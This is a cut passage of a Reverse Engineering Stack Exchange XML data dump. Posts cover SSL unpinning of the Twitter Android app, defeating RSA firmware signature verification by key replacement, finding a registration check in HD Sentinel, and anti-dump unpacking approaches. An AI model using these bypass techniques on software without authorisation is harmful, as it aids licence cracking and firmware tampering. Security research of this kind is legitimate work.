  <row Id="12279" PostTypeId="1" CreationDate="2016-03-22T15:46:28.147" Score="1" ViewCount="882" Body="&lt;p&gt;I want to run twitter app behind a proxy so i decompiled the app &#xA;to read the source code.I have noticed that it is using this code &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/moxie0/AndroidPinning/tree/master/src/org/thoughtcrime/ssl/pinning&quot; rel=&quot;nofollow&quot;&gt;https://github.com/moxie0/AndroidPinning/tree/master/src/org/thoughtcrime/ssl/pinning&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to pin the certificate.&#xA;I patched the code to ignore pinning.But it is still not working.&#xA;So I run it in androbug debugger to see the source of the problem.After some digging around I have noticed that the runtime library libcore.net.http calls another trust manger than the one I have modified. And this library is not in the apk file. So what are my options now ?&lt;/p&gt;&#xA;" OwnerUserId="15491" LastEditorUserId="-1" LastEditDate="2016-03-23T20:16:23.473" LastActivityDate="2016-03-23T20:16:23.473" Title="SSL unpinning Twitter android app" Tags="|android|" AnswerCount="0" CommentCount="0" ClosedDate="2016-03-23T07:31:02.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostTypeId="1" CreationDate="2016-03-22T17:34:58.330" Score="1" ViewCount="370" Body="&lt;p&gt;I want to run twitter app behind a proxy so i decompiled the app &#xA;to read the source code.I have noticed that it is using this code to pin the certificate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/moxie0/AndroidPinning/tree/master/src/org/thoughtcrime/ssl/pinning&quot; rel=&quot;nofollow&quot;&gt;https://github.com/moxie0/AndroidPinning/tree/master/src/org/thoughtcrime/ssl/pinning&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I patched the code to ignore pinning.But it is still not working.&#xA;So I run it in androbug debugger to see the source of the problem.After some digging around I have noticed that the runtime library libcore.net.http calls another trust manger than the one I have modified. And this library is not in the apk file. So what are my options now ?&lt;/p&gt;&#xA;" OwnerUserId="15498" LastActivityDate="2016-03-22T17:34:58.330" Title="SSL Unpinning Twitter app" Tags="|android|" AnswerCount="0" CommentCount="0" ClosedDate="2016-04-05T09:37:22.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostTypeId="2" ParentId="11583" CreationDate="2016-03-22T18:58:09.173" Score="5" Body="&lt;p&gt;Your question really seems to be &quot;How to get an instruction trace with GDB&quot;.  The use of Python appears to be incidental, except that you're using Python &lt;em&gt;inside&lt;/em&gt; of GDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GDB has native support for instruction tracing, via the &lt;code&gt;record&lt;/code&gt; command.  Using the command &lt;code&gt;record full&lt;/code&gt; will record all changes to the process's state, and even allow reverse debugging (i.e. backward-stepping and replay).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information here:&#xA;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html&quot; rel=&quot;noreferrer&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Separately, if you &lt;em&gt;would&lt;/em&gt; like to perform single-stepping and instruction tracing with Python-inside-GDB, your best bet is to use the &lt;code&gt;Breakpoint&lt;/code&gt; class and use &lt;code&gt;internal&lt;/code&gt; breakpoints which do not halt the UI.  On architectures with variable-width instructions (i386, amd64) you will need to calculate the size of the current instruction.  You will also need to resolve all jump and calls targets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the GDB source code you'll see how this all works in the event loop, and it is not exposed to the Python API.  Search for &lt;code&gt;STEP_OVER_NONE&lt;/code&gt; which is used for the &lt;code&gt;stepi&lt;/code&gt; instruction (step exactly one machine instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're so inclined, you &lt;em&gt;can&lt;/em&gt; do this in GDB with the &lt;code&gt;gdb.Breakpoint&lt;/code&gt; and &lt;code&gt;gdb.FinishBreakpoint&lt;/code&gt; types.  However, you end up needing to parse instruction widths (on variable-width instruction ISAs like x86), and extract jump and call targets.  GDB's Python API does not have any support for a single-step breakpoint, or resolving what the next instruction address will be.  You can do both of those things pretty easily with Capstone and Unicorn.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2016-03-22T18:58:09.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12285" PostTypeId="1" CreationDate="2016-03-23T18:00:15.817" Score="-3" ViewCount="470" Body="&lt;p&gt;I am trying to reverse engineer a program called HD sentinel. What it does, is that shows the health of your disk. Anyway, i try to register, this way i take the error message. Then, i open ollydbg. I extract the program inside the ollydbg. I change the module to &quot;HDSentinel.exe&quot;(because by default is ntdll). Then i search for strings, and i search for the particular error. I got nothing. I try to run the program inside ollydbg, and then search for the error. Nothing again. What i am doing wrong ??&lt;/p&gt;&#xA;" OwnerUserId="14775" LastActivityDate="2016-03-29T11:10:17.390" Title="Cannot find the error message" Tags="|executable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12286" PostTypeId="1" AcceptedAnswerId="12287" CreationDate="2016-03-23T19:14:12.680" Score="7" ViewCount="5557" Body="&lt;p&gt;I am analysing an embedded system running QNX on armle, &lt;code&gt;uname -a&lt;/code&gt; identifies it as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;QNX mmx 6.5.0 2012/06/20-13:49:13EDT nVidia_Tegra2(T20)_Devlite_Boards armle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firmware updates come with a file called &lt;code&gt;metainfo2.txt&lt;/code&gt; which always ends with a signature block, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Signature]&#xA;signature1 = &quot;a73e111de512e09bad2dc08eff685a38&quot;&#xA;signature2 = &quot;4fc032192a20fd1e242ad64af5b509a7&quot;&#xA;signature3 = &quot;6a7432f754aff0d6b74a7ec2072cbb11&quot;&#xA;signature4 = &quot;e91f68f569508b77712d1869edd6d0b9&quot;&#xA;signature5 = &quot;923eb77ba815dba8e44d5e09412cdf2e&quot;&#xA;signature6 = &quot;830518f3b38d48df892a3a0c65cc67f1&quot;&#xA;signature7 = &quot;09e5e0f5f06ce0376d032ab21051510f&quot;&#xA;signature8 = &quot;3dab7f75fcdf54a96d8aa7f3c617f76d&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks like it's a RSA encryption and is used to determine if the file contents were changed. I &lt;em&gt;think&lt;/em&gt; it's a hash of a particular section of the file: &lt;code&gt;MetafileChecksum = &quot;ec5afd6459c3579ebed8841cc41fe17bb61b814d&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a folder with public keys which has a subfolder name MetainfoKey and contains likely the public key, a 288 byte file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C0 F3 89 EE C7 B6 6C 9D C7 36 50 8F F8 8A EB 1F&#xA;B1 13 94 2E AD 02 08 14 D0 8D 29 E8 68 F1 4B 20&#xA;86 BC D7 DD CC BA 75 59 F9 99 E7 6D 24 61 96 60&#xA;BB E1 74 34 DA 59 98 80 87 F2 A9 9C D4 65 B1 FF&#xA;42 35 22 B7 8C B0 DE 46 3A 66 96 13 D3 56 DF A9&#xA;E8 6E 0E 2E 0B 6D AB 5D E8 91 31 C5 A0 72 7A EA&#xA;B1 76 72 78 AB 10 1D CD 9C 3C FC 10 26 70 5C 1D&#xA;AB 3B F5 3B F5 0A FA FB 3F 52 DA 2C EB 0B EE 57&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03&#xA;83 0A CD 65 56 FC 2F B4 7B 1B 67 43 12 E3 4E 7A&#xA;0A AD 1E DF BA 7E B2 79 D9 51 3A DB 10 16 61 48&#xA;13 1B BA 9C 85 2A B7 01 91 49 16 65 62 94 61 6B&#xA;B1 A9 B8 F8 46 2E BC 20 6D E5 7F 53 AF EF 00 00&#xA;53 AB 8E 4F 63 29 BF 00 B0 ED 45 E8 E9 20 67 8E&#xA;F6 7A F8 BC CB 7B 4D CF 88 01 59 BB CB F1 B1 04&#xA;D4 A1 C0 57 70 AA D7 38 E8 BD 9A 28 4E 94 99 5C&#xA;B7 96 49 28 5A C4 04 9C 6B 57 8F C5 4F 74 6A C9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My objective is to be able to change &lt;code&gt;metainfo2.txt&lt;/code&gt; and a possible method could be to replace the public key with a new one but I need to understand how the signature section is used to verify the file contents. I am looking for answer or pointers on how to achieve this...&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="53" LastEditDate="2016-03-24T09:31:49.523" LastActivityDate="2023-01-11T22:01:46.127" Title="Defeat rsa hash verification" Tags="|qnx|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostTypeId="2" ParentId="12286" CreationDate="2016-03-24T07:54:42.873" Score="6" Body="&lt;p&gt;Your hunches are correct. Appending all the numbers in the signature fields you get the number &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;s&lt;/i&gt; = 0xa73e111de512e09bad2dc08eff685a384fc032192a20fd1e242ad64af5b509a76a7432f754aff0d6b74a7ec2072cbb11e91f68f569508b77712d1869edd6d0b9923eb77ba815dba8e44d5e09412cdf2e830518f3b38d48df892a3a0c65cc67f109e5e0f5f06ce0376d032ab21051510f3dab7f75fcdf54a96d8aa7f3c617f76d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is too large to fit with a modulus of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;n&lt;/i&gt;  = 0x830ACD6556FC2FB47B1B674312E34E7A0AAD1EDFBA7EB279D9513ADB10166148131BBA9C852AB701914916656294616BB1A9B8F8462EBC206DE57F53AFEF000053AB8E4F6329BF00B0ED45E8E920678EF67AF8BCCB7B4DCF880159BBCBF1B104D4A1C05770AAD738E8BD9A284E94995CB79649285AC4049C6B578FC54F746AC9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so we'll use a modulus of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;n&lt;/i&gt;  = 0xC0F389EEC7B66C9DC736508FF88AEB1FB113942EAD020814D08D29E868F14B2086BCD7DDCCBA7559F999E76D24619660BBE17434DA59988087F2A99CD465B1FF423522B78CB0DE463A669613D356DFA9E86E0E2E0B6DAB5DE89131C5A0727AEAB1767278AB101DCD9C3CFC1026705C1DAB3BF53BF50AFAFB3F52DA2CEB0BEE57&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taking the signature &lt;i&gt;s&lt;/i&gt; raised to the power of 3 modulus &lt;i&gt;n&lt;/i&gt; we wind up with the following value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003021300906052b0e03021a050004145e3246e50a4dad079a61f99fa3297c01d802e038&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a standard signature format. The 0x1ffff...00 is padding. The 3021... is an ASN.1 encoded structure.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse that using OpenSSL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;openssl.exe asn1parse -inform DER -dump -i&lt;/i&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    0:d=0  hl=2 l=  33 cons: SEQUENCE&#xA;    2:d=1  hl=2 l=   9 cons:  SEQUENCE&#xA;    4:d=2  hl=2 l=   5 prim:   OBJECT            :sha1&#xA;   11:d=2  hl=2 l=   0 prim:   NULL&#xA;   13:d=1  hl=2 l=  20 prim:  OCTET STRING&#xA;      0000 - 5e 32 46 e5 0a 4d ad 07-9a 61 f9 9f a3 29 7c 01   ^2F..M...a...)|.&#xA;      0010 - d8 02 e0 38                                       ...8&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which tells us that the signature is based off of a SHA1 hash. To change the data signed by these keys, you'd need to generate your own 1024 bit RSA key replace the c0... key with your own public key, change the data, replace the hash in the data above and sign that data using your private key. &lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2016-03-24T07:54:42.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12288" PostTypeId="1" CreationDate="2016-03-24T20:15:06.450" Score="1" ViewCount="1414" Body="&lt;p&gt;where i can download the latest version of FRAK: firmware reverse analysis konsole; i cannot find the link; is anyhere a good example or tutorial of usage?&#xA;thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="15529" LastActivityDate="2022-08-11T12:26:59.870" Title="Where can i download Firmware Reverse Analysis Konsole?" Tags="|firmware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostTypeId="2" ParentId="12288" CreationDate="2016-03-25T00:10:51.947" Score="3" Body="&lt;p&gt;It appears as though the tool was never released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/archive/p/frak/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/archive/p/frak/&lt;/a&gt; has been empty since 2012, and merely points to &lt;a href=&quot;http://frak.redballoonsecurity.com&quot; rel=&quot;nofollow&quot;&gt;http://frak.redballoonsecurity.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://frak.redballoonsecurity.com&quot; rel=&quot;nofollow&quot;&gt;http://frak.redballoonsecurity.com&lt;/a&gt; has been down for a while, but the last time it was up merely said, &lt;a href=&quot;https://web.archive.org/web/20130830114444/http://frak.redballoonsecurity.com&quot; rel=&quot;nofollow&quot;&gt;&quot;FRAK is currently undergoing internal code review for public release.&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to contact the &lt;a href=&quot;https://www.linkedin.com/in/ang-cui-705a42&quot; rel=&quot;nofollow&quot;&gt;author&lt;/a&gt;, though: a@redballoonsecurity.com&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-25T00:10:51.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostTypeId="1" AcceptedAnswerId="15436" CreationDate="2016-03-25T17:36:55.193" Score="3" ViewCount="392" Body="&lt;p&gt;I am writing a PinTool, which can manipulate certain register/memory value. However, after manipulation, one challenge I am facing now, is the &lt;code&gt;deadloop&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, due to the frequent manipulation of certain register value, it is indeed common to create &lt;code&gt;deadloop&lt;/code&gt; in the execution trace. I am thinking to detect such case, and terminate the execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So here is my question, what is a good practice to detect a &lt;code&gt;deadloop&lt;/code&gt; in a PinTool?&lt;/strong&gt; I can come up with some naive solutions, say, record the executed instructions, and if certain instruction has been executed for a large amount of times, just terminate the execution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me on this issue? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2017-05-27T14:15:25.673" Title="Detect deadloop in PinTool" Tags="|pintool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12291" PostTypeId="1" AcceptedAnswerId="12293" CreationDate="2016-03-25T22:50:40.397" Score="4" ViewCount="321" Body="&lt;p&gt;I have implemented a Memory Read Access hardware breakpoint in C code.&#xA;It works perfect and provides me the next instruction after a memory is read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using BeaEngine to disassemble the instruction at &lt;code&gt;EIP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find out the previous executed instruction which is effectively the one that accessed the memory in question (For example, like Cheat Engine does it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="53" LastEditDate="2017-04-28T12:49:35.230" LastActivityDate="2017-04-28T12:49:35.230" Title="Memory Read Access Breakpoint Question" Tags="|disassembly|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12292" PostTypeId="1" CreationDate="2016-03-26T01:18:41.253" Score="4" ViewCount="4044" Body="&lt;p&gt;I've been working on reversing the slingbox firmware. I didn't get anywhere trying to get into a current firmware file (see my other question - appears to be encrypted), so I found a download for an older slingbox firmware at &lt;a href=&quot;http://autoupdate.sling.com/tinybird/200.00.US.99/&quot; rel=&quot;nofollow&quot;&gt;http://autoupdate.sling.com/tinybird/200.00.US.99/&lt;/a&gt;&#xA;Using &lt;a href=&quot;http://autoupdate.sling.com/tinybird/200.00.US.99/SlingboxSoloFwV2_1_110HwV1_0_3Current.bin&quot; rel=&quot;nofollow&quot;&gt;http://autoupdate.sling.com/tinybird/200.00.US.99/SlingboxSoloFwV2_1_110HwV1_0_3Current.bin&lt;/a&gt; as a place to start I noticed with binwalk the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -D 'filesystem:d' SlingboxSoloFwV2_1_110HwV1_0_3Current.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;2947692       0x2CFA6C        YAFFS filesystem&#xA;2948896       0x2CFF20        YAFFS filesystem&#xA;2948980       0x2CFF74        YAFFS filesystem&#xA;2949096       0x2CFFE8        YAFFS filesystem&#xA;2949244       0x2D007C        YAFFS filesystem&#xA;2949424       0x2D0130        YAFFS filesystem&#xA;2950196       0x2D0434        YAFFS filesystem&#xA;2950288       0x2D0490        YAFFS filesystem&#xA;2950412       0x2D050C        YAFFS filesystem&#xA;2950568       0x2D05A8        YAFFS filesystem&#xA;2950756       0x2D0664        YAFFS filesystem&#xA;2971856       0x2D58D0        SHA256 hash constants, little endian&#xA;3000600       0x2DC918        Base64 standard index table&#xA;3088905       0x2F2209        Unix path: /services.sling.com/configservices/rest/v2/configuration/product&#xA;3302671       0x32650F        HTML document header&#xA;3302714       0x32653A        HTML document footer&#xA;3344945       0x330A31        Unix path: /www.w3.org/XML/1998/namespace&#xA;3358301       0x333E5D        XML document, version: &quot;1.0&quot;&#xA;3368469       0x336615        Unix path: /www.w3.org/XML/1998/namespace&#xA;3376275       0x338493        XML document, version: &quot;&quot;1.&quot;&#xA;3376594       0x3385D2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#xA;3385025       0x33A6C1        Unix path: /www.adobe.com/xml/dtds/cross-domain-policy.dtd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This yielded 11 different files (different based on md5). I tried the unyaffs tool on each of them, but got errors for each of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can't determine flash layout, perhaps not a yaffs2 image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeating the same binwalk command on one of the resultant files yields 11 (smaller) files, also appearing to be YAFFS. Same error as before when I try unyaffs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at this point I'm stuck and out of ideas. Any assistance? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2018-06-15T15:52:46.330" Title="Need help extracting YAFFS from firmware .bin file" Tags="|firmware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12293" PostTypeId="2" ParentId="12291" CreationDate="2016-03-26T05:48:43.697" Score="5" Body="&lt;p&gt;This is a tricky question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On x86 platform the maximum length of an instruction is 15 bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read 15 bytes backwards from the current EIP and pass it to &lt;code&gt;Disasm&lt;/code&gt; function of BeaEngine. This returns the length of the disassembled instruction. If this equals 15 you have found the previous instruction. If it is less than 15, then pass 1 byte less (i.e 14 bytes) and so on until the length of the buffer passed to BeaEngine equals the length of the disassembled instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be represented in pseudo code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eip = 0xDEADCODE&#xA;&#xA;length = 15&#xA;while(length &amp;gt; 0)&#xA;{&#xA;    buffer = ReadProcessMemory(start=eip-length, length)&#xA;    lenDisasm = Disasm(buffer)&#xA;&#xA;    if (lenDisasm == length) &#xA;    {&#xA;        prevIns = eip-length&#xA;        break;&#xA;    }&#xA;    else length--;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the above algorithm is not generic in nature i.e. you cannot use it to find the previously executed instruction given the current &lt;code&gt;eip&lt;/code&gt;. This only works when the execution sequence is linear without any jumps in between. In case of hardware breakpoints on access the execution sequence is &lt;strike&gt;guaranteed to be&lt;/strike&gt; linear and the above algorithm is applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in case of hardware breakpoints on access the execution sequence may not be linear as in the following case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;format PE&#xA;&#xA;entry start&#xA;&#xA;section '.text' code readable executable&#xA;&#xA;start:&#xA;    nop&#xA;    nop&#xA;    jmp dword [here]&#xA;    mov eax, 1&#xA;    push eax&#xA;    pop eax&#xA;&#xA;address:&#xA;    xor eax, eax&#xA;    ret     &#xA;&#xA;section '.data' readable writable&#xA;&#xA;here:   ; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HWBP on read&#xA; dd address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A hardware breakpoint on read is set on &lt;code&gt;here&lt;/code&gt;. In this case the hwbp would hit when &lt;code&gt;EIP&lt;/code&gt; is at &lt;code&gt;address&lt;/code&gt;. If you use the above algorithm, the previously executed instruction turns out to be &lt;code&gt;pop eax&lt;/code&gt; which is incorrect. &#xA;For such cases you can use instruction tracing or memory breakpoints (&lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://www.codereversing.com/blog/archives/79&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://waleedassar.blogspot.in/2012/11/defeating-memory-breakpoints.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3771785/whats-the-principle-of-ollydbgs-memory-breakpoint&quot;&gt;3&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-03-26T08:19:55.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostTypeId="1" CreationDate="2016-03-27T17:51:46.047" Score="2" ViewCount="215" Body="&lt;p&gt;Is it possible that a module will have a call to a function in a different module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about import tables and delayed import tables. But are there any more options to do so? How will it look in the binary? (Probably the opcode in this case will be indirect, but where will reside the address to jump to?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it the same about jumps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's a bit of a general question, so a link to some relevant readings will be great also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14616" LastActivityDate="2023-02-16T13:05:10.623" Title="Calling a function outside the module" Tags="|calling-conventions|call-graph|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12295" PostTypeId="1" CreationDate="2016-03-28T06:43:53.043" Score="2" ViewCount="335" Body="&lt;p&gt;My customer has an application that gets updates frequently. I have a program that adds functionality into this application by means of patching and reassembling the target binary. It is a hassle to keep up with the updates in the target application, and since I have its PDB file, is there any way to use this file to perform the patching on the client's end?&lt;/p&gt;&#xA;" OwnerUserId="15556" LastActivityDate="2016-03-28T13:02:32.177" Title="Is it possible to use PDB files to perform on the fly binary patching?" Tags="|ida|reassembly|pdb|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12296" PostTypeId="2" ParentId="12295" CreationDate="2016-03-28T13:02:32.177" Score="2" Body="&lt;p&gt;Yes, you can use the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/x93ctkx8.aspx&quot; rel=&quot;nofollow&quot;&gt;Debug Interface Access Software Development Kit (DIA SDK)&lt;/a&gt; to access the information stored in a PDB.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-28T13:02:32.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12298" PostTypeId="1" CreationDate="2016-03-28T16:31:07.990" Score="3" ViewCount="489" Body="&lt;p&gt;&lt;strong&gt;tl;dr: What would be alternative approaches for attacking an anti-dump design that allocates encrypted blocks of code on the heap and uses a vm to resolve addresses and decrypt before execution?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a binary with about 900 pages (4k) of stolen bytes. The binary in .text jumps with a hardcoded address as a parameter that runs through VMcode, generates a value based on a few identifying features (cpuid, threadid, processid), and eventually decrypts the page on the heap and jumps to it in order to execute the stolen functionality. It doesn't shred the bytes or re-encrypt them most likely for performance reasons - future calls jump directly to the destination code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have isolated a few blocks of code that decrypt the code itself and jump (haven't quite figured out the key generation yet), and have considered a few approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Dump every 4k page allocated(about 900 or so) and append them to the end of the binary at the right address (they won't be allocated in a dumped binary due to real OEP being after the initial packer OEP that sets all this up), and try to trace the vm to manually fix the jumps in the .text section to the decrypted address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Decrypt the pages, strip out garbage instructions (will probably take a while with not the best confidence level), and paste them in-place where they should be in the executable (the bytes that were stolen have its encrypted counterpart in the original location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.Try to inject some shared library at the packer OEP, override ntalloc, allocate the memory in a linear fashion accessible from the dll, and log all the decrypted functions; eventually, write some kind of loader that can use the dumped memory as some kind of switchboard that can jump and update the calls in the original binary to jump into the library that would redirect control flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.Some other method I haven't considered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like they would all work, but the amount of work in any case seems to range from a lot to a ridiculous amount. Are there any other approaches that might be worth exploring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15559" LastEditorUserId="15559" LastEditDate="2016-03-28T20:32:13.813" LastActivityDate="2016-03-28T20:32:13.813" Title="Anti-Anti-Dump Approaches" Tags="|anti-dumping|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12299" PostTypeId="2" ParentId="12285" CreationDate="2016-03-29T11:10:17.390" Score="1" Body="&lt;p&gt;There are various ways of how strings are processed. They are probably aren't in text-planed format. Or probably stored in resources section which you won't find by search strings, have you checked to set a bp on LoadString? it could also be that your application uses a 3rd party dll to handle registration scheme and/or some tricks to encrypt strings. You could also try to pause the program after you get the error message while in debugger and look for call stack and go backward in calls to find where are those messages came from.&lt;/p&gt;&#xA;" OwnerUserId="8610" LastActivityDate="2016-03-29T11:10:17.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostTypeId="1" AcceptedAnswerId="12302" CreationDate="2016-03-29T11:22:32.687" Score="6" ViewCount="7269" Body="&lt;p&gt;i'm learning to reverse engineer. So i'm coding some programs and try to understand their assembly.&#xA;I stumbled upon a curious case and i think i can't solve it alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the c code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(){&#xA;&#xA;char *texto = &quot;O numero e %d\n&quot;;&#xA;int i = 10;&#xA;&#xA;while(i){&#xA;    printf(texto, i--);&#xA;}&#xA;&#xA;return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly produced by IDA is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, [esp+28]&#xA;lea     edx, [eax-1] ; The part i don't understand&#xA;mov     [esp+28], edx&#xA;mov     [esp+4], eax&#xA;mov     eax, [esp+18h]&#xA;mov     [esp], eax      ; char *&#xA;call    _printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i could understand is that it stores the old value in eax and pushes to stack(I purposedly didn't turn on optimizations) and then it pushes the format.&#xA;While that happens in the middle it does the &lt;code&gt;i--&lt;/code&gt;, but i can't understand how it's working. So it get's the address of &lt;code&gt;eax-1&lt;/code&gt; and stores in &lt;code&gt;edx&lt;/code&gt; and then stores it in &lt;code&gt;i&lt;/code&gt;, but 